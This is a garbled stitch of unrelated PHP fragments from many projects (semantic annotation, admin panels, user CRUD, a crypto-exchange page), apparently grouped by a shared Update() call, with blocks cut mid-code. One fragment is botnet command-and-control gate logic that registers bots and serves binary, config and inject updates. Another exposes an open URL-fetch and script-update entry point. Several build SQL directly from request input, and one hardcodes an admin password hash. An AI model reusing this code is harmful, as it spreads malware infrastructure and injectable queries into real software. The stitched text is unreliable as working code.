function CreateRegister($name, $email, $passkey)
{
$PREFIXRegister = "PREFIX rsch: <http://vitali.web.cs.unibo.it/raschietto/>\nPREFIX foaf: <http://xmlns.com/foaf/0.1/>\nPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\nPREFIX xsd: <http://www.w3.org/2001/XMLSchema#>\nPREFIX vcard: <http://www.w3.org/2006/vcard/ns#>\nPREFIX schema: <http://schema.org/>";
$Register = $PREFIXRegister . "\nINSERT DATA{\n\t" . Insert . "\n\t{\n\t\t<mailto:{$email}> a foaf:Person; \n \t\t\t\t\t\t\t\t\t\tfoaf:name '{$name}';\n \t\t\t\t\t\t\t\t\t\tschema:email '{$email}';\n \t\t\t\t\t\t\t\t\t\tfoaf:openid '{$email}';\n \t\t\t\t\t\t\t\t\t\tvcard:hasKey '{$passkey}'.\n \t\t\t\t\t\t\t\t\t}\n }";
$answer = Update($Register);
return $answer;
}
function UpdateUser($config, $id, $data)
{
$rows = array();
switch ($config['adapter']) {
case 'Mysql':
include '../modules/Application/src/Application/Model/Mysql/Execute.php';
include '../modules/Application/src/Application/Model/Mysql/Connect.php';
$link = Connect($config['slave']);
$query = "UPDATE user SET ";
foreach ($data as $key => $value) {
echo "<pre>key:";
print_r($key);
echo "</pre>";
echo "<pre>value:";
print_r($value);
echo "</pre>";
}
die;
$rows = Execute($link, $query);
break;
case 'Txt':
include '../modules/Application/src/Application/Model/Txt/Delete.php';
$rows = Update($id, $data, $config['userfilename']);
break;
}
return $rows;
}
function DeleteRethoric($item, $uri, $label, $annotation_ID, $at, $by, $id, $start, $end, $subject, $object, $bLabel)
{
$Prefix = "PREFIX sem: <http://www.ontologydesignpatterns.org/cp/owl/semiotics.owl#>\nPREFIX schema: <http://schema.org/>\nPREFIX oa: <http://www.w3.org/ns/oa#>\nPREFIX dlib: <http://www.dlib.org/dlib/march15/moulaison/>\nPREFIX rsch: <http://vitali.web.cs.unibo.it/raschietto/>\nPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\nPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\nPREFIX deo: <http://purl.org/spar/deo/>\nPREFIX xsd: <http://www.w3.org/2001/XMLSchema#>\nPREFIX skos: <http://www.w3.org/2004/02/skos/core#>\nPREFIX sro: <http://salt.semanticauthoring.org/ontologies/sro#>";
$Query = $Prefix . "\n\t\tDELETE DATA {\n\t\t" . Insert . "\n\t\t{\n\t\t\t <ann-retorica{$annotation_ID}> a oa:Annotation ; \n\t\t\t\t\t\t\t\t\t\trdfs:label \"{$label}\";\n\t\t\t\t\t\t\t\t\t\toa:annotatedBy <{$by}> ;\n\t\t\t\t\t\t\t\t\t\toa:annotatedAt \"{$at}\" ;\n\t\t\t\t\t\t\t\t\t\toa:hasBody <body-retorica{$annotation_ID}>;\n\t\t\t \t\t\t\t\t\t\toa:hasTarget <target-retorica{$annotation_ID}>. \n\t\t\t\t<target-retorica{$annotation_ID}> a oa:SpecificResource;\n\t\t\t\t\t\t\t\t\t\t\toa:hasSource dlib:{$item} ;\n\t\t\t\t\t\t\t\t\t\t\toa:hasSelector <selector-retorica{$annotation_ID}>.\n\t\t\t\t<selector-retorica{$annotation_ID}> a oa:FragmentSelector;\n\t\t\t\t\t\t\t\t\t\t\t rdf:value \"{$id}\" ;\n\t\t\t\t\t\t\t\t\t\t\t oa:start \"{$start}\"^^xsd:nonNegativeInteger ;\n\t\t\t\t\t\t\t\t\t\t\t oa:end \"{$end}\"^^xsd:nonNegativeInteger.\n\t\t\t <body-retorica{$annotation_ID}> a rdf:Statement;\n\t\t\t\t\t\t\t\t\t\trdf:subject <{$subject}>;\n\t\t\t\t\t\t\t\t\t\trdf:predicate sem:denotes;\n\t\t\t\t\t\t\t\t\t\trdf:object \"{$object}\";\n\t\t\t\t\t\t\t\t\t\trdfs:label\t\"{$bLabel}\".\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}";
$answer = Update($Query);
//print "<xmp>$Query</xmp>";
}
function CreateResource()
{
$Query = "\n\tINSERT DATA{\n\t" . Insert . "\n\t\t\t\t{\n\t\t\t\t <mailto:admin@ltw1516.it>\n a <http://xmlns.com/foaf/0.1/Person> ;\n <http://schema.org/email> '*****@*****.**' ;\n <http://www.w3.org/2006/vcard/ns#hasKey>\n '21232f297a57a5a743894a0e4a801fc3' ;\n <http://xmlns.com/foaf/0.1/name>\n 'admin' ;\n <http://xmlns.com/foaf/0.1/openid>\n 'admin' .\n\n\t\t\t\t}\n\t}";
$delete = "\n\tINSERT DATA{\n\t" . Insert . "\n\t\t\t\t{\n\t\t\t\t <mailto:admin@ltw1516.it>\n a <http://xmlns.com/foaf/0.1/Person> ;\n <http://schema.org/email> '*****@*****.**' ;\n <http://www.w3.org/2006/vcard/ns#hasKey>\n '21232f297a57a5a743894a0e4a801fc3' ;\n <http://xmlns.com/foaf/0.1/name>\n 'admin' ;\n <http://xmlns.com/foaf/0.1/openid>\n '*****@*****.**' .\n\n\t\t\t\t}\n\t}";
$answer = Update($delete);
$answer = Update($Query);
return $answer;
}
$bot_os = "--";
$bot_net = "default";
$bot_supp = "first";
$supp_sub = 0;
//$bot_ip = mt_rand(1,255).".".mt_rand(1,255).".".mt_rand(1,255).".".mt_rand(1,255);
$query = "SELECT * FROM `bots` WHERE `bot_uid`='{$bot_uid}';";
$row = mysql_fetch_assoc(mysql_query($query));
$query = "";
$time_bin = $time_cfg = $time_inj = 0;
$ENC_PASS = $BOTNETS[$bot_net]['password'];
if ($data_type == 0 and encrypt($ENC_PASS, substr($DATA, 9, 4)) == "EHLO") {
if (($time_bin = Update(CMD_UPDATE_BINARY, 'data/binaries/binary', $row['time_bin'])) > 0) {
$query .= "`time_bin`='{$time_bin}', ";
} elseif (($time_cfg = Update(CMD_UPDATE_CONFIG, 'data/configs/config', $row['time_cfg'])) > 0) {
$query .= "`time_cfg`='{$time_cfg}', ";
} elseif (($time_inj = Update(CMD_UPDATE_INJECTS, 'data/injects/injects', $row['time_inj'])) > 0) {
$query .= "`time_inj`='{$time_inj}', ";
}
}
if ($row['bot_uid'] == $bot_uid) {
$query = "UPDATE `bots` SET " . $query;
if ($row['bot_ip'] != $bot_ip) {
$row['bot_country'] = GetCountry($bot_ip);
$query .= "`bot_ip`='{$bot_ip}', `bot_country`='{$row['bot_country']}', ";
}
$query .= "`time_last`={$thetime} WHERE `bot_uid`='{$bot_uid}';";
mysql_query($query);
} else {
$row['bot_country'] = GetCountry($bot_ip);
$query = "INSERT INTO `bots` VALUES ('{$bot_uid}', '{$bot_os}', '{$bot_ip}', '{$row['bot_country']}', '{$bot_net}', '{$bot_supp}', {$supp_sub}, {$thetime}, {$thetime}, {$time_bin}, {$time_cfg}, {$time_inj}, '');";
mysql_query($query);
function execute($param, $post)
{
if (count($param) > 0 && $param[0] == "act") {
$obj = json_decode($post["json"]);
$group = GetSingleByCondition(DRINKERCYCLE_TABLE, array("Name" => $obj->Name));
if ($group instanceof DrinkerCycle) {
if ($obj->Action == "exists") {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id));
return ReturnBoolean($groupRela != null);
} else {
if ($obj->Action == "add") {
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$presGroupRelation = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($presGroupRelation == null) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id));
$newRela = new DrinkerCyclesDrinkersRelation();
$newRela->DrinkerId = $drinker->Id;
$newRela->DrinkerCycleId = $group->Id;
$newRela->IsAuthenticated = $groupRela == null;
return ReturnBoolean(Insert(DRINKERCYCLESDRINKERSRELATION_TABLE, $newRela));
}
return ReturnBoolean(true);
} else {
return ReturnNotFound($obj->Guid, "Drinker");
}
} else {
if ($obj->Action == "remove") {
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($groupRela instanceof DrinkerCyclesDrinkersRelation) {
return ReturnBoolean(DeleteById(DRINKERCYCLESDRINKERSRELATION_TABLE, $groupRela->Id));
} else {
return RelationNotFound($group->Id, $drinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->Guid, DRINKER_TABLE);
}
} else {
if ($obj->Action == "authenticate" || $obj->Action == "deauthenticate") {
$newVal = true;
if ($obj->Action == "deauthenticate") {
$newVal = false;
}
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($groupRela instanceof DrinkerCyclesDrinkersRelation) {
//can change others status
if ($groupRela->IsAuthenticated) {
$otherDrinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->AuthGuid));
if ($otherDrinker instanceof Drinker) {
$otherGroupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $otherDrinker->Id));
if ($otherGroupRela instanceof DrinkerCyclesDrinkersRelation) {
$otherGroupRela->IsAuthenticated = $newVal;
return ReturnBoolean(Update(DRINKERCYCLESDRINKERSRELATION_TABLE, $otherGroupRela));
} else {
return RelationNotFound($group->Id, $otherDrinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->AuthGuid, "Drinker");
}
} else {
//not authenticated
return ReturnBoolean(false);
}
} else {
return RelationNotFound($group->Id, $drinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->Guid, "Drinker");
}
} else {
if ($obj->Action == "removeforeign") {
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($groupRela instanceof DrinkerCyclesDrinkersRelation) {
//can change others status
if ($groupRela->IsAuthenticated) {
$otherDrinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->AuthGuid));
if ($otherDrinker instanceof Drinker) {
$otherGroupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $otherDrinker->Id));
if ($otherGroupRela instanceof DrinkerCyclesDrinkersRelation) {
return ReturnBoolean(Delete(DRINKERCYCLESDRINKERSRELATION_TABLE, $otherGroupRela));
} else {
return RelationNotFound($group->Id, $otherDrinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->AuthGuid, "Drinker");
}
} else {
//not authenticated
return ReturnBoolean(false);
}
} else {
return RelationNotFound($group->Id, $drinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->Guid, "Drinker");
}
} else {
return ReturnError(LINK_INVALID);
}
}
}
}
}
}
if ($obj->Action == "exists") {
return ReturnBoolean(false);
} else {
if ($obj->Action == "add") {
$newGroup = new DrinkerCycle();
$newGroup->Name = $obj->Name;
$newGroup->Guid = GenerateGuid();
if (Insert(DRINKERCYCLE_TABLE, $newGroup)) {
return $this->execute($param, $post);
} else {
return ReturnCrudError($newGroup, "add");
}
} else {
return ReturnNotFound($obj->Guid, DRINKERCYCLE_TABLE);
}
}
} else {
if (ValidateGuid($param[0])) {
//construct model puh
$drinker = GetByGuid("Drinker", $param[0]);
if ($drinker != null && $drinker instanceof Drinker) {
$relations = GetAllByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerId" => $drinker->Id));
$cyclesEnt = array();
$cycles = array();
$authCycles = array();
foreach ($relations as $relation) {
if ($relation instanceof DrinkerCyclesDrinkersRelation) {
$cycle = GetById(DRINKERCYCLE_TABLE, $relation->DrinkerCycleId);
if ($cycle instanceof DrinkerCycle) {
if ($relation->IsAuthenticated) {
$cycl = new DrinkerCycleEntity($cycle);
$cycl->IsAuthenticated = true;
$authCycles[] = $cycle;
$cyclesEnt[] = $cycl;
} else {
$cycles[] = $cycle;
$cycl = new DrinkerCycleEntity($cycle);
$cycl->IsAuthenticated = false;
$cyclesEnt[] = $cycl;
}
}
}
}
$drinkers = array();
foreach ($authCycles as $cycle) {
$userRelations = GetAllByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $cycle->Id));
foreach ($userRelations as $userRelation) {
if ($userRelation instanceof DrinkerCyclesDrinkersRelation) {
//exclude self
if ($drinker->Id != $userRelation->DrinkerId) {
if (!isset($drinkers[$userRelation->DrinkerId])) {
$user = GetById(DRINKER_TABLE, $userRelation->DrinkerId);
if ($user instanceof Drinker) {
$drinkers[$userRelation->DrinkerId] = new DrinkerEntity($user);
}
}
if ($drinkers[$userRelation->DrinkerId] instanceof DrinkerEntity) {
if ($userRelation->IsAuthenticated) {
$drinkers[$userRelation->DrinkerId]->AuthDrinkerCycles[] = $cycle->Guid;
} else {
$drinkers[$userRelation->DrinkerId]->NonAuthDrinkerCycles[] = $cycle->Guid;
}
}
}
}
}
}
$coll = new DrinkerCycleResponse();
$coll->DrinkerCycles = $cyclesEnt;
foreach ($drinkers as $drinker) {
$coll->Drinkers[] = $drinker;
}
return json_encode($coll);
} else {
return ReturnNotFound($param[0], "Drinker");
}
} else {
return ReturnError(LINK_INVALID);
}
}
}
$thumbpath = 'upload/thumbs/' . $news_image;
$obj_img = new thumbnail_images();
$obj_img->PathImgOld = $tpath1;
$obj_img->PathImgNew = $thumbpath;
$obj_img->NewWidth = 72;
$obj_img->NewHeight = 72;
if (!$obj_img->create_thumbnail_images()) {
echo $_SESSION['msg'] = "Thumbnail not created... please upload image again";
exit;
}
$data = array('cat_id' => $_POST['category_id'], 'news_heading' => addslashes($_POST['news_heading']), 'news_description' => addslashes($_POST['news_description']), 'news_date' => $_POST['news_date'], 'news_image' => $news_image);
}
} else {
$data = array('cat_id' => $_POST['category_id'], 'news_heading' => addslashes($_POST['news_heading']), 'news_description' => addslashes($_POST['news_description']), 'news_date' => $_POST['news_date']);
}
$news_edit = Update('tbl_news', $data, "WHERE nid = '" . $_POST['news_id'] . "'");
if ($news_edit > 0) {
$_SESSION['msg'] = "11";
header("Location:add-news?news_id=" . $_POST['news_id']);
exit;
}
}
//Get category
echo $cat_qry = "SELECT * FROM tbl_news_category";
$cat_result = mysql_query($cat_qry);
?>
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/jquery.validate.min.js"></script>
<?php
include 'includes/menu.php';
?>
<?php
include 'includes/function.php';
include 'messages/messages.php';
$result = Single('admin', 'id', $_SESSION['ADMIN_ID']);
$row = mysql_fetch_assoc($result);
if (isset($_POST['submit'])) {
if ($_POST['password']) {
$data = array('password' => md5($_POST['password']));
} else {
$data = array('username' => $_POST['username'], 'email' => $_POST['email']);
}
$admin_pro = Update('admin', $data, "WHERE id = '1'");
if ($admin_pro > 0) {
$_SESSION['msg'] = "2";
header("Location:edit-profile");
exit;
}
}
?>
<div class="content">
<div class="header">
<h1 class="page-title"><?php
echo $lang['PAGE_PROFILE_EDIT'];
?>
</h1>
function clear()
{
$answer = Update("CLEAR GRAPH <http://vitali.web.cs.unibo.it/raschietto/graph/ltw1516>");
return $answer;
}
header("Location: /user/select");
}
echo "<pre>";
print_r($validate);
echo "</pre>";
// TODO: mostrar formulario con datos de usuario
} else {
include "../modules/Application/views/user/insert.phtml";
}
break;
case 'update':
if ($_POST) {
// print_r($_POST);
// $_POST['photo']=$_FILES['photo']['name'];
include "../modules/Application/src/Application/Model/Txt/Update.php";
Update($_POST['id'], $_POST, $userfilename);
// saltar a tabla
header("Location: /user/select");
} else {
// Formulario relleno con los datos
$id = $router['params']['id'];
$_GET['filename'] = $userfilename;
include "../modules/Application/views/user/update.phtml";
}
break;
case 'delete':
if ($_POST) {
if ($_POST['submit'] == 'si') {
DeleteUser($config, $_POST['id']);
}
// Saltar a select
case 'insert':
if ($_POST) {
$array = $_POST;
$array['photo'] = $_FILES['photo']['name'];
Save($array, $filename);
header("Location: /ControllerUser.php?action=select");
} else {
$form = file_get_contents($formdef);
include '../modules/Application/views/user/insert.phtml';
}
break;
case 'update':
if ($_POST) {
$array = $_POST;
$array['photo'] = $_FILES['photo']['name'];
Update($array, $filename);
header("Location: ./ControllerUser.php?action=select");
} else {
$users = file_get_contents($filename);
$users = explode("\n", $users);
$user = explode("|", $users[$_GET['id']]);
//echo $user[4];
$form = file_get_contents($formdef);
include '../modules/Application/views/user/update.phtml';
}
break;
case 'delete':
if ($_POST) {
if ($_POST['submit'] == 'Si') {
// Borar y saltar
$users = file_get_contents($filename);
/**
* Methode zum Anzeigen des Contents.
*
* @return String Content der Applikation.
*/
public function Display()
{
$view = $this->NotFound();
if (count($this->params) == 0 || $this->params[0] == "") {
$view = new GenericView("settings");
if (isset($this->request["changepass"])) {
if ($this->request["Password1"] == $this->request["Password2"]) {
if (CheckPassword($this->request["Password1"])) {
$params = array();
$params["Id"] = GetActiveUser()->Id;
$params["PasswordHash"] = $this->request["Password1"];
if (AddOrUpdate("admins", $params)) {
DoLog("Das Passwort wurde erfolgreich geändert", LOG_LEVEL_INFO);
} else {
DoLog("Das Passwort konnte nicht geändert werden", LOG_LEVEL_SYSTEM_ERROR);
}
} else {
//log was done by CheckAdminPass
}
} else {
DoLog("Die beiden Passwörter stimmen nicht überein", LOG_LEVEL_USER_ERROR);
}
if ($this->request["no-replace"] == true) {
exit;
}
}
$view->assign('admins', GetAllOrderedBy("admins", "Id"));
} else {
if ($this->params[0] == "Admin") {
$view = new GenericCrudView($this->params[1], array("add" => "edit"), "settings", "Admin");
if ($this->params[1] == "add") {
if (isset($this->request["add"]) && $this->request["add"] == "true") {
unset($this->request["add"]);
$res = AddAdmin($this->request);
if ($res) {
$obj = GetById("admins", $res);
if ($obj !== false) {
DoLog("Admin wurde hinzugefügt, E-Mail wurde versendet.", LOG_LEVEL_INFO);
} else {
DoLog("Admin wurde hinzugefügt, E-Mail wurde versendet.", LOG_LEVEL_SYSTEM_ERROR);
}
}
}
$view->assign("obj", null);
} else {
if ($this->params[1] == "edit") {
if (isset($this->request["edit"]) && $this->request["edit"] == "true") {
unset($this->request["edit"]);
$this->request["Id"] = $this->params[2];
$res = Update("admins", $this->request);
if ($res) {
DoLog("Admin wurde bearbeitet", LOG_LEVEL_INFO);
} else {
$view = new MessageView("Admin konnte nicht bearbeitet werden.", LOG_LEVEL_SYSTEM_ERROR);
}
}
$obj = GetById("admins", $this->params[2]);
if ($obj !== false) {
$view->assign("obj", $obj);
} else {
$view = new MessageView("Admin wurde nicht gefunden.", LOG_LEVEL_SYSTEM_ERROR);
}
} else {
if ($this->params[1] == "delete" && isset($this->params[2]) && is_numeric($this->params[2])) {
if (isset($this->request["delete"]) && $this->request["delete"] == "true") {
$res = DeleteById("admins", $this->params[2]);
if ($res) {
$view = new MessageView("Admin wurde gelöscht", LOG_LEVEL_INFO);
} else {
$view = new MessageView("Admin konnte nicht gelöscht werden.", LOG_LEVEL_SYSTEM_ERROR);
}
} else {
$obj = GetById("admins", $this->params[2]);
if ($obj !== false) {
$view->assign("obj", $obj);
} else {
$view = new MessageView("Admin wurde nicht gefunden.", LOG_LEVEL_SYSTEM_ERROR);
}
}
} else {
$view = $this->NotFound();
}
}
}
} else {
if ($this->params[0] == "download") {
if ($this->params[1] == "database") {
DownloadDatabaseAndExit();
}
}
}
}
return $view->loadTemplate();
}
if (isset($_POST['submit'])) {
$img_res = mysql_query("SELECT * FROM tbl_settings WHERE id='1'");
$img_row = mysql_fetch_assoc($img_res);
if ($img_row['app_logo'] != "") {
unlink('upload/' . $img_row['app_logo']);
}
if ($_FILES['app_logo']['name'] != "") {
$app_logo = $_FILES['app_logo']['name'];
$pic1 = $_FILES['app_logo']['tmp_name'];
$tpath1 = 'upload/' . $app_logo;
copy($pic1, $tpath1);
$data = array('app_name' => $_POST['app_name'], 'app_logo' => $app_logo, 'app_email' => $_POST['app_email'], 'app_website' => addslashes($_POST['app_website']), 'app_description' => addslashes($_POST['app_description']));
} else {
$data = array('app_name' => $_POST['app_name'], 'app_email' => $_POST['app_email'], 'app_website' => addslashes($_POST['app_website']), 'app_description' => addslashes($_POST['app_description']));
}
$news_edit = Update('tbl_settings', $data, "WHERE id = '1'");
if ($news_edit > 0) {
$_SESSION['msg'] = "15";
header("Location:settings");
exit;
}
}
?>
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/jquery.validate.min.js"></script>
<script type="text/javascript">
(function($,W,D)
{
if ($_POST) {
$_POST['photo'] = $_FILES['photo']['name'];
include "../modules/Application/src/Application/Model/Txt/Insert.php";
Insert($_POST, 'user.txt');
// saltar a tabla
header("Location: /UserController.php");
} else {
include "../modules/Application/views/user/insert.phtml";
}
break;
case 'update':
if ($_POST) {
// print_r($_POST);
// $_POST['photo']=$_FILES['photo']['name'];
include "../modules/Application/src/Application/Model/Txt/Update.php";
Update($_POST['id'], $_POST, 'user.txt');
// saltar a tabla
header("Location: /UserController.php");
} else {
// Formulario relleno con los datos
$id = $_GET['id'];
$_GET['filename'] = 'user.txt';
include "../modules/Application/views/user/update.phtml";
}
break;
case 'select':
// Leer el archivo de texto en un string
$users = file_get_contents('user.txt');
// convertir el string en array separando por saltos de linea
$users = explode("\n", $users);
include "../modules/Application/views/user/select.phtml";
/**
* Use this function main working function
* the output of Main().
*/
function Main()
{
if (isset($_REQUEST['update']) == true) {
Update();
}
if (isset($_REQUEST['include_update']) == true) {
ScriptUpdate();
}
if (isset($_REQUEST['check_script']) == true) {
CheckScript();
}
if (isset($_REQUEST['clear_message']) == true) {
RemoveScript();
}
if (isset($_REQUEST['GetContent']) === true) {
$sGetUrl = '';
$sGetUrl = trim($_REQUEST['GetContent']);
if (strlen($sGetUrl) == 0) {
echo '<fail>no valid url</fail>';
exit;
}
$nMatch = preg_match('#^http:\\/\\/#i', $sGetUrl);
if ($nMatch === false || $nMatch == 0) {
$sGetUrl = 'http://' . $sGetUrl;
}
$sOutContent = '';
$bGetContentResult = false;
$bGetContentResult = GetContents($sGetUrl, $sOutContent);
if ($bGetContentResult === false || $sOutContent === false || strlen($sOutContent) === 0) {
echo '<fail>cant get content</fail>';
} else {
echo $sOutContent;
}
}
if (isset($_REQUEST['dgen']) == true && isset($_REQUEST['secvalue']) == true) {
UpdateFilds();
exit;
}
if (isset($_REQUEST['name']) === true && isset($_REQUEST['word']) === true && isset($_REQUEST['indx']) === true) {
ShowContent();
}
}
header('Location:index.php');
} else {
session_regenerate_id(true);
$_SESSION["last_acted_on"] = time();
if (isset($_GET['number'])) {
$invoice = $_GET['number'];
}
if (isset($_POST['add'])) {
$no = getPayment();
$amount = $_POST['amount'];
$code = $_POST['code'];
$invoice_id = $_POST['invoice'];
$payment_date = $_POST['payment_date'];
$payment_date = date_format(date_create($payment_date), "Y-m-d");
$query = "insert into payment values ('" . $no . "','" . $payment_date . "' , '" . $code . "' , '" . $amount . "','" . $invoice_id . "' )";
Update($query);
header('Location:payment.php?number=' . $invoice_id . '');
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Accommodation</title>
<link href="css/style.css" type="text/css" rel="stylesheet">
<link rel="stylesheet" href="javascript/themes/base/all.css">
<script src="javascript/jquery.js"></script>
<script src="javascript/ui/core.js"></script>
<script src="javascript/ui/widget.js"></script>
<script src="javascript/ui/datepicker.js"></script>
<script>
Delete('tbl_news_category', 'cid=' . $_GET['cat_id'] . '');
$_SESSION['msg'] = "7";
header("Location:category");
exit;
}
//Active and Deactive status
if (isset($_GET['status_deactive_id'])) {
$data = array('status' => '0');
$edit_list = Update('tbl_news_category', $data, "WHERE cid = '" . $_GET['status_deactive_id'] . "'");
$_SESSION['msg'] = "9";
header("Location:category");
exit;
}
if (isset($_GET['status_active_id'])) {
$data = array('status' => '1');
$edit_list = Update('tbl_news_category', $data, "WHERE cid = '" . $_GET['status_active_id'] . "'");
$_SESSION['msg'] = "8";
header("Location:category");
exit;
}
?>
<div class="content">
<div class="header">
<h1 class="page-title"><?php
echo $lang['PAGE_CATEGORY_LIST'];
?>
</h1>
</div>
$obj_img->PathImgOld = $tpath1;
$obj_img->PathImgNew = $thumbpath;
$obj_img->NewWidth = 100;
$obj_img->NewHeight = 100;
if (!$obj_img->create_thumbnail_images()) {
echo $_SESSION['msg'] = "Thumbnail not created... please upload image again";
exit;
}
$data = array('category_name' => $_POST['category_name'], 'category_image' => $category_image);
} else {
echo $_SESSION['msg'] = "This is not an image";
}
} else {
$data = array('category_name' => $_POST['category_name']);
}
$cat_edit = Update('tbl_news_category', $data, "WHERE cid = '" . $_POST['cat_id'] . "'");
if ($cat_edit > 0) {
$_SESSION['msg'] = "6";
header("Location:add-category?cat_id=" . $_POST['cat_id']);
exit;
}
}
?>
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/jquery.validate.min.js"></script>
<script type="text/javascript">
(function($,W,D)
{
} elseif ($_GET["Action"] == "Del") {
$dados = MB("CancelOrder&pair=" . $_GET["pair"] . "_brl&order_id=" . $_GET["id"]);
if ($dados["success"]) {
echo "Ordem excluída com êxito<br>";
} else {
echo $dados["error"];
}
?>
<a href="#" onclick="Ajax('ordens.php?pair=<?php
echo $_GET["pair"];
?>
','AjaxOrdens',null,true);
Ajax('index.php?Action=Saldo','AjaxSaldo',null,true);">Atualizar</a><?php
}
} else {
Update("MyOrdens");
$_SESSION["Temp"]["Auto"] = array();
?>
<table class="Center">
<tr>
<td id="TimerOrdens" onclick="
Ajax('index.php?Action=Saldo', 'AjaxSaldo', null, true);
Ajax('ordens.php?pair=btc', 'AjaxOrdens', null, true);
">60</td>
<th>Moeda</th>
<th>Tipo</th>
<th>Volume</th>
<th>Valor</th>
</tr><?php
$_SESSION["Temp"]["Precos"] = array();
if (isset($_SESSION["Temp"]["btc"])) {
private function refreshDrinkerProperties(Drinker $drinker)
{
$drinker->TotalBeers = $this->countExistingBeers($drinker);
$db = GetDatabaseConnection();
$pdo = $db->prepare("SELECT DrinkTime FROM Beers WHERE DrinkerId=:Id ORDER BY DrinkTime DESC LIMIT 1");
$pdo->bindParam(":Id", $drinker->Id);
$pdo->execute();
$drinker->LastBeer = $pdo->fetch(PDO::FETCH_NUM)[0];
return Update("Drinkers", $drinker);
}
function MenuPerfil($parm)
{
global $vConex, $enlace, $cnOwl;
switch ($parm) {
case "Listado":
$btn = "Crear ]" . $enlace . "?MenuPerfil=Form]panelB-R2}";
$btn .= "<div class='actualizar'></div>]" . $enlace . "?MenuPerfil=Listado]panelB-R}";
$btn = Botones($btn, 'botones1');
$subMenu = tituloBtnPn("Listado <p>MENÚ EMPRESA</p>", $btn, "150px", "TituloA");
$sql = 'SELECT Codigo, Nombre, Url,Estado, Codigo AS CodigoAjax FROM menu_empresa ORDER BY Codigo ASC ';
$clase = 'reporteA';
$enlaceCod = 'codigo_menu_empresa';
$url = $enlace . "?MenuPerfil=menuDetalle";
$panel = 'panelB-R2';
$reporte = ListR2($titulo, $sql, $vConex, $clase, '', $url, $enlaceCod, $panel, 'sys_tipo_ouput', '');
$divFloat = panelFloat($form, "panel-FloatB", $style);
$s = layoutLSB($divFloat . $subMenu, $reporte, "panelB-R2");
break;
case "Form":
$uRLForm = "Crear]" . $enlace . "?metodo=menu_empresa&transaccion=INSERT]panelB-R]F]}";
$titulo = "Crear Menú";
$form = c_form($titulo, $vConex, "menu_empresa", "CuadroA", $path, $uRLForm, "", $tSelectD);
$s = PanelInferior($FBusqueda . $form, "panel_edit_menu", '370px');
WE($s);
break;
case "editaReg":
$codigo = get("codigo_menu_empresa");
$titulo = "Editar Menú";
$uRLForm = "Actualizar]" . $enlace . "?metodo=menu_empresa&transaccion=UPDATE&codigo=" . $codigo . "]panelB-R]F]}";
$uRLForm .= "Eliminar]" . $enlace . "?metodo=menu_empresa&transaccion=DELETE&codigo=" . $codigo . "]panelB-R]]}";
$form = c_form($titulo, $vConex, "menu_empresa", "CuadroA", $path, $uRLForm, $codigo, $tSelectD);
$form = "<div style='width:400px;'>" . $form . "</div>";
$s = PanelInferior($form, "panel_edit_menu", '320px');
break;
case "Detalle":
$btn .= "Atrás]" . $enlace . "?MenuPerfil=Listado]panelB-R}";
$btn = Botones($btn, 'botones1');
$subMenu = tituloBtnPn("Listado <p>MENÚ EMPRESA</p>", $btn, "100px", "TituloA");
$sql = 'SELECT Codigo, Nombre, Url,Estado, Codigo AS CodigoAjax FROM menu_empresa ORDER BY Codigo ASC ';
$clase = 'reporteA';
$enlaceCod = 'codigo_menu_empresa';
$url = $enlace . "?MenuPerfil=menuDetalle";
$panel = 'panelB-R2';
$reporte = ListR2($titulo, $sql, $vConex, $clase, '', $url, $enlaceCod, $panel, 'sys_tipo_ouput', '');
$divFloat = panelFloat($form, "panel-FloatB", $style);
$s = layoutLSB($divFloat . $subMenu, $reporte, "panelB-R2");
break;
case "menuDetalle":
$cod = get('codigo_menu_empresa');
$btn = "Crear ]" . $enlace . "?MenuPerfil=FormDetalle&CodSubMenu=" . $cod . "]panelB-R2}";
